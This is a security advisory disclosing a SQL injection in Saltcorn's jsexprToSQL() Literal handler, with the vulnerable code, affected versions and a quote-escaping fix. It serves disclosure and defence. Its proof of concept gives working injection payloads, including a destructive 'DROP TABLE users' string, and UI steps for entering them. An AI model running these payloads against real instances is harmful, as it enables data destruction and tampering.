GHSA-59XV-588H-2VMM
Vulnerability from github – Published: 2026-04-10 19:30 – Updated: 2026-04-10 19:30Summary
The jsexprToSQL() function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The Literal handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.
Vulnerable Component
File: packages/saltcorn-data/models/expression.ts, lines 117-118
Literal({ value }: { value: ExtendedNode }) {
if (typeof value == "string") return `'${value}'`; // NO ESCAPING!
return `${value}`;
},
Call chain: Formula constraint creation → table_constraints.ts:127 → jsexprToSQL() → Literal() → db.query() executes unsanitized SQL.
Proof of Concept
Injection via Formula Constraint
When an admin creates a Formula-type table constraint with the expression:
name === "test' OR '1'='1"
The jsexprToSQL() function generates:
(name)=('test' OR '1'='1')
This is then executed as:
ALTER TABLE "tablename" ADD CONSTRAINT "tablename_fml_1" CHECK ((name)=('test' OR '1'='1'));
The single quote in the string literal is not escaped, breaking out of the SQL string context.
More Dangerous Payload
name === "'; DROP TABLE users; --"
Generates:
(name)=(''; DROP TABLE users; --')
Verified on Saltcorn v1.5.0 (Docker)
Direct invocation of jsexprToSQL() inside the running container confirms the vulnerability:
Input: name === "hello"
Output: (name)=('hello') ← Normal
Input: name === "test' OR '1'='1"
Output: (name)=('test' OR '1'='1') ← Single quote NOT escaped, OR injected
Input: name === "'; DROP TABLE users; --"
Output: (name)=(''; DROP TABLE users; --') ← DROP TABLE injected
The test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).
PoC Screenshot
- Create a table after moving to the table menu
- Go to the table and then to
Constraits
- Go to
Formula
- Create a test table for verification
- Input the payload and save
- Check the table for testing
Impact
- Arbitrary SQL execution via crafted CHECK constraints
- Data exfiltration through error-based or time-based SQL injection
- Database schema manipulation (DROP TABLE, ALTER TABLE)
- Potential privilege escalation via direct
userstable modification
Suggested Remediation
Escape single quotes in the Literal handler:
Literal({ value }: { value: ExtendedNode }) {
if (typeof value == "string") return `'${value.replace(/'/g, "''")}'`;
return `${value}`;
},
Alternatively, use parameterized queries for constraint creation instead of string interpolation.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/data"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/data"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/data"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.0-beta.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:30:32Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nThe `jsexprToSQL()` function in Saltcorn converts JavaScript expressions to SQL for use in database constraints. The `Literal` handler wraps string values in single quotes without escaping embedded single quotes, allowing SQL injection when creating Formula-type table constraints.\n\n\n## Vulnerable Component\n\n**File:** `packages/saltcorn-data/models/expression.ts`, lines 117-118\n\n```typescript\nLiteral({ value }: { value: ExtendedNode }) {\n if (typeof value == \"string\") return `\u0027${value}\u0027`; // NO ESCAPING!\n return `${value}`;\n},\n```\n\n**Call chain:** Formula constraint creation \u2192 `table_constraints.ts:127` \u2192 `jsexprToSQL()` \u2192 `Literal()` \u2192 `db.query()` executes unsanitized SQL.\n\n## Proof of Concept\n\n### Injection via Formula Constraint\n\nWhen an admin creates a Formula-type table constraint with the expression:\n\n```javascript\nname === \"test\u0027 OR \u00271\u0027=\u00271\"\n```\n\nThe `jsexprToSQL()` function generates:\n\n```sql\n(name)=(\u0027test\u0027 OR \u00271\u0027=\u00271\u0027)\n```\n\nThis is then executed as:\n\n```sql\nALTER TABLE \"tablename\" ADD CONSTRAINT \"tablename_fml_1\" CHECK ((name)=(\u0027test\u0027 OR \u00271\u0027=\u00271\u0027));\n```\n\nThe single quote in the string literal is not escaped, breaking out of the SQL string context.\n\n### More Dangerous Payload\n\n```javascript\nname === \"\u0027; DROP TABLE users; --\"\n```\n\nGenerates:\n\n```sql\n(name)=(\u0027\u0027; DROP TABLE users; --\u0027)\n```\n\n### Verified on Saltcorn v1.5.0 (Docker)\n\nDirect invocation of `jsexprToSQL()` inside the running container confirms the vulnerability:\n\n```\nInput: name === \"hello\"\nOutput: (name)=(\u0027hello\u0027) \u2190 Normal\n\nInput: name === \"test\u0027 OR \u00271\u0027=\u00271\"\nOutput: (name)=(\u0027test\u0027 OR \u00271\u0027=\u00271\u0027) \u2190 Single quote NOT escaped, OR injected\n\nInput: name === \"\u0027; DROP TABLE users; --\"\nOutput: (name)=(\u0027\u0027; DROP TABLE users; --\u0027) \u2190 DROP TABLE injected\n```\n\nThe test was performed on a completely fresh Saltcorn installation (zero user-created tables, default Docker setup).\n\n### PoC Screenshot\n\n1. Create a table after moving to the table menu\n\n\u003cimg width=\"1194\" height=\"559\" alt=\"SCR-20260307-edqn\" src=\"https://github.com/user-attachments/assets/a2d11102-f49b-4b2b-88ff-fced37476b6f\" /\u003e\n\n\n2. Go to the table and then to `Constraits`\n\n\u003cimg width=\"1180\" height=\"600\" alt=\"SCR-20260307-edsg\" src=\"https://github.com/user-attachments/assets/b55ddace-01be-4a53-8f62-cbec98172cd7\" /\u003e\n\n3. Go to `Formula`\n\n\u003cimg width=\"1130\" height=\"518\" alt=\"SCR-20260307-edud\" src=\"https://github.com/user-attachments/assets/8a5addc6-e681-401b-91ea-bce3b0eece54\" /\u003e\n\n4. Create a test table for verification\n\n\u003cimg width=\"857\" height=\"294\" alt=\"SCR-20260307-eetw\" src=\"https://github.com/user-attachments/assets/debc8581-8145-44cb-a684-2bc3eb7adbcf\" /\u003e\n\n5. Input the payload and save\n\n\u003cimg width=\"763\" height=\"383\" alt=\"SCR-20260307-ehcz\" src=\"https://github.com/user-attachments/assets/f7a3aa34-7b0b-48ea-b1df-f852f137c37f\" /\u003e\n\n6. Check the table for testing\n\n\u003cimg width=\"549\" height=\"256\" alt=\"SCR-20260307-ehuh\" src=\"https://github.com/user-attachments/assets/8f6da842-0275-4729-93bf-96575f3fe963\" /\u003e\n\n\n\n## Impact\n\n- Arbitrary SQL execution via crafted CHECK constraints\n- Data exfiltration through error-based or time-based SQL injection\n- Database schema manipulation (DROP TABLE, ALTER TABLE)\n- Potential privilege escalation via direct `users` table modification\n\n## Suggested Remediation\n\nEscape single quotes in the `Literal` handler:\n\n```typescript\nLiteral({ value }: { value: ExtendedNode }) {\n if (typeof value == \"string\") return `\u0027${value.replace(/\u0027/g, \"\u0027\u0027\")}\u0027`;\n return `${value}`;\n},\n```\n\nAlternatively, use parameterized queries for constraint creation instead of string interpolation.",
"id": "GHSA-59xv-588h-2vmm",
"modified": "2026-04-10T19:30:32Z",
"published": "2026-04-10T19:30:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-59xv-588h-2vmm"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltcorn/saltcorn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@saltcorn/data vulnerable to SQL Injection via jsexprToSQL Literal Handler"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.